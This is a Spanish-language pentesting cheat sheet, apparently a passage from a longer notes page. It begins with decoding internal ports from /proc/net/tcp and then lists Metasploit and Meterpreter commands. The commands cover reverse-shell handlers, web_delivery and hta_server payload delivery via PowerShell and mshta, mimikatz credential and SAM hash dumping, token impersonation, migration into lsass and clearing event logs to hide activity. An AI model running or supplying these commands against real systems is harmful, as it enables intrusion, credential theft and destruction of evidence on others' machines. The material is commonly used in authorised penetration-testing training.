   5: C20A0A0A:86BA 01010101:0035 02 00000001:00000000 01:000002E0 00000003   101        0 36768 2 0000000000000000 800 0 0 1 7

Vamos a usar solamente la columna del local_address, si la quieres seleccionar, presiona ctrl + alt y selecciona solo los resultados de esa columna (esto funciona en Kali, no se si funciona en otros SO) y reproduce el resultado con echo:

echo "00000000:1F90                                                               
00000000:0050        
3500007F:0035        
00000000:0016        
C20A0A0A:0050        
C20A0A0A:86BA"
00000000:1F90        
00000000:0050        
3500007F:0035        
00000000:0016        
C20A0A0A:0050        
C20A0A0A:86BA

Vamos a quedarnos solo con los números que estan después de los “:”, usaremos awk para obtener ese resultado y con sort vamos a ordenarlos:

echo "00000000:1F90        
00000000:0050        
3500007F:0035        
00000000:0016        
C20A0A0A:0050        
C20A0A0A:86BA" | awk '{print $2}' FS=":" | sort -u
0016        
0035        
0050        
1F90        
86BA

Resulta que estos números que obtuvimos, son hexadecimales y estan en little endian, por lo que si usamos una terminal de Python y los ponemos en su formato correspondiente, obtenedremos el número de un puerto:

python3                                                             
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x0016
22
>>> 0x0035
53
>>> 0x0050
80
>>> 0x1F90
8080
>>> 0x86BA
34490
>>> exit()

Y listo, ya enumeraste puertos internos de una máquina.



Metasploit Framework


Uso de Metasploit Framework

¿Qué es Metasploit Framework?

Metasploit Framework
Metasploit es un proyecto de código abierto para la seguridad informática, que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración “Pentesting” y el desarrollo de firmas para sistemas de detección de intrusos. Su subproyecto más conocido es el Metasploit Framework, una herramienta para desarrollar y ejecutar exploits contra una máquina remota.


Iniciando Metasploit

# Iniciar BD de postgresql para Metasploit (opcional) e iniciando Metasploit
service postgresql start && msfconsole


# Iniciar metasploit framework
msfconsole


# Iniciar metasploit framework en modo silecioso
msfconsole -q


Creación y Gestión de Espacios de Trabajo (Workspace) en Metasploit

# Para ver el estatus de la base de datos del metasploit
dbstatus


# Para ver como usar el comando workspace
workspace -h 


# Muestra en que workspace te encuentras
workspace


# Para ver la o las IPs que esten almacenadas en el workspace o incluso las que se hayan usado para exploits, creo que a si funciona
hosts


# Para crear un nuevo workspace
workspace -a <nombre_workspace>


# Para cambiar al workspace que queramos, solo da el nombre del workspace
workspace <nombre_workspace>


# Para eliminar un workspace
workspace -d <nombre_workspace>


# Para renombrar un workspace
workspace -r <nombre_workspace> <nuevo_nombre_workspace>


# Importando archivo a espacio de trabajo, por ejemplo, un escaneo de nmap
db_import </ruta_archivo_a_importar>
Ej: db_import /root/windows_server_2012


# Comprobando si se cargo archivo correctamente
hosts


# Mostrando los servicios del archivo importado
services


# Realizando un escaneo con nmap desde workspace
db_nmap -Pn -sV -O <IP>


# Mostrando vulnerabilidades encontradas por nmap
vulns


# Mostrando vulnerabilidades de un puerto específico
vulns -p <número_puerto>


Comando Básicos de Metasploit

# Para que nos muestre los comandos de ayuda
help

# Para ver la version del metasploit
version

# Para ver todos los modulos
show modules

# Para ver todos los exploits
show exploits

# Para ver la ayuda de como cargar modulos, encoders, etc
show -h

# Para ver como usar el comando search
search -h


Métodos de Busqueda de Módulos

# Buscando un módulo
search <nombre_módulo>


# Ejemplo de busqueda para ver módulos que puedan escanear puertos
search portscan


# Para buscar un exploit por su nombre
search eternalblue


# Buscando un módulo específico
search cve:<año> type:<tipo_de_módulo> platform:<sistema_operativo> name: <nombre>
-type: auxiliary, exploit, post



# Ejemplo para buscar y mostrar los exploits para windows que salieron en el 2017
search cve:2017 type:exploit platform:windows


# Ejemplo para buscar y mostrar todos los exploits para windows
search type:exploit platform:windows


Uso y Configuración de Módulos de Metasploit

# Usando un módulo
use <PATH_del_modulo>
Ej: use multi/handler


# Para usar el módulo por numero, después de usar search
use <número_modulo>


# Viendo las opciones que deben ser configuradas del módulo
show options


# Comando para configurar cualquier opción que pida el módulo
set <opción>


# Configurando IP de víctima
set RHOST <IP>


# Para configurar la IP de la víctima de manera global y ya no tengas que configurarla en otros módulos que vayas a usar
setg RHOST <IP>


# Para configurar multiples IPs víctimas
set RHOSTS <IP>


# Configurando puerto a usar de víctima
set RPORT <número_puerto>


# Configurando nuestra IP
set LHOST <IP>


# Configurando un puerto local a usar
set LPORT <número_puerto>


# Para configurar los puertos o el puerto a usar
set PORTS <1-1000>


# Configurando objetivo (powershell, bash, default, etc)
set target <número>


# Para cargar un payload
set payload <ruta_payload>
Ej: set payload windows/meterpreter/reverse_tcp


# Para ejecutar el módulo
run o exploit


# Para dejar de usar un módulo
back


# Viendo información obtenida por módulo usado
loot


Gestión de Sesiones en Metasploit

# Para ver las sesiones activas de exploits activados exitosamente
sessions


# Para ver el menu de ayuda
sessions -h


# Para ejecutar un comando en una sesión activa de meterpreter
sessions -C <comando_a_ejecutar> -i <número_sesión>


# Para terminar una sesion
sessions -k <número_sesión>


# Para listar las sesiones
sessions -l


# Para nombrar una sesión se usa el parámetro -n y luego el nombre
sessions -n <nombre_sesión> -i <número_sesión>


# Para actualizar sesion de shell a una de meterpreter
sessions -u <número_sesión>
Ej: sessiosn -u 1


# Para ver las opciones de como usar el comando connect que sirve de manera similar a netcat
connect


Utilizando Plugin wmap para Escanear Páginas Web

# Cargando plugin de wmap
load wmap


# Añadiendo IP de máquina a escanear
wmap_sites -a <IP>


# Añadiendo URL a escanear
wmap_targets -t http://<IP>/


# Listando IPs registradas
wmap_sites -l


# Obteniendo módulos que se pueden usar contra la URL, gracias a la configuración del wmap_targets
wmap_run -t


# Activando todos los módulos que se pueden usar en el objetivo
wmap_run -e


# Listando vulnerabilidades que tiene la página web
wmap_vulns -l


Scripts Automatizados para Metasploit

  • Automatizando la creación de handler que obtiene una Reverse Shell: 
    nano handler.rc 
----------------
use multi/handler
set PAYLOAD <ruta_payload> -> opcional
set LHOST <IP>
set LPORT <puerto>
exploit
  • Automatizando el escaneo de puertos usando el módulo auxiliar 
    nano portscan.rc
---------------
use /auxiliary/scanner/portscan/tcp
set RHOSTS <IP>
exploit
  • Automatizando la revisión de la BD de Metasploit y la creación de un workspace: 
    db_status.rc
---------------
db_status
workspace
workspace -a <nombre_workspace>
  • Ejecutando script con Metasploit: 
    msfconsole -r <nombre_script>.rc
Ej: msfconsole -r handler.rc
  • Cargando script al Metasploit: 
    resource <ruta_script>
Ej: resource /Desktop/handler.rc
  • Observando scripts automatizados que guarda Metasploit: 
    ls -la /usr/share/metasploit-framework/scripts/resource/


Módulo Web Delivery de Metasploit para Obtener Sesión de Meterpreter

msfconsole
search web_delivery
use 1
set payload windows/x64/meterpreter/reverse_tcp
set target 2
set LHOST IP
set PSH-ENCODEDCOMMANDO false
exploit

copiar y pegar payload en powershell


Módulo HTA Server de Metasploit para Obtener Sesión de Meterpreter

# Usano hta_server para obtener sesión de meterpreter de windows
msfconsole -q
use exploit/windows/misc/hta_server
exploit

# Usando mshta.exe para ejecutar exploit hta_server y obtener sesion de meterpreter
mshta.exe http://copiar y pregar aquí la URL local del exploit


Meterpreter

¿Qué es Meterpreter?

Meterpreter
Meterpreter es un payload que permite ejecutar tareas de forma remota en una máquina. Es un software que se ejecuta en un nivel muy bajo de la máquina, por lo que es bastante difícil de detectar. Por medio del payload Meterpreter es posible conectarse a la webcam del ordenador vulnerado, a su teclado, tomar capturas en pantalla y, en resumen, hacer cualquier cosa con él. No obstante, a la hora de aprender qué es Meterpreter, es importante tener en cuenta que el software no presenta las mismas funciones ni se comporta igual en todos los sistemas operativos. La versión más completa de este programa es Meterpreter para Windows.


Comandos Útiles de Meterpreter

# Información del sistema
sysinfo


# Nombre del usuario actual
getuid


# Para ganar acceso total a la máquina
getsystem


# Para ver los privilegios del usuario
getprivs


# Leyendo un archivo
cat <nombre_archivo>


# Modificando un archivo
edit <nombre_archivo>


# Descargando archivo
download <nombre_archivo>


# Moviendonos entre directorios
cd <nombre_directorio>


# Tomando una captura de pantalla
screenshot


# Listando discos y monturas que hay en la máquina
show_mount


# Limpiando event logs
clearev


# Para salir de meterpreter
background
exit
ctrl + z


Manejo de Shells en Meterpreter

# Activando shell de meterpreter
shell


# Activando shell interactiva
/bin/bash -i


# Salir de la shell
ctrl + c
exit
ctrl + z


Usando Módulo Kiwi para Usar Mimikatz

# Cargando mimikatz
load kiwi


# Obteniendo contraseñas
creds_all


# Dumpeando hashes NTLM de BD SAM, Ojo: podemos obtener el hash del syskey
lsa_dump_sam


# Dumpeando contraseñas en texto claro, NO siempre lo hace
lsa_dump_secrets


Utilizando Módulo Incognito para Suplantar Tokens

# Cargando incognito
load incognito


# Listando tokens
list_tokens -u


# Suplantando token
impersonate_token <dato_token>


Busqueda de Archivos con Meterpreter

# Buscando Archivo desde meterpreter
serach -f <nombre_archivo>
Ej: search -f Unattend.xml


# Buscando todos los archivos de una sola extensión
search -f *.<tipo_extensión>


# Buscando un directorio
search -d <nombre_directorio>


# Usando ambos para buscar un archivo dentro de un directorio
search -d <nombre_directorio> serach -f <nombre_archivo>


Encontrando y Migración de Procesos

# Observando procesos activos
ps

# Buscando SID de proceso
pgrep <nombre_proceso>
Ej: pgrep lsass


# Migrando a proceso
migrate <número_proceso>
Ej: migrate 231


# Haciendo migracion a un proceso conocido
migrate -N <nombre_proceso>
Ej: migrate -N lsass.exe



  • https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp
  • https://docs.oracle.com/cd/E24842_01/html/E22524/remotehowtoaccess-14.html
  • https://www.uv.es/bombinp/ftp.html
  • https://github.com/carlospolop/PEASS-ng/releases/tag/20230409
  • https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
  • https://exploit-notes.hdks.org/exploit/network/protocol/telnet-pentesting/
  • https://github.com/pentestmonkey/php-reverse-shell
  • https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/
  • https://binaryregion.wordpress.com/2021/06/14/privilege-escalation-windows-juicypotato-exe/
  • https://binaryregion.wordpress.com/2021/08/04/privilege-escalation-windows-churrasco-exe/


FIN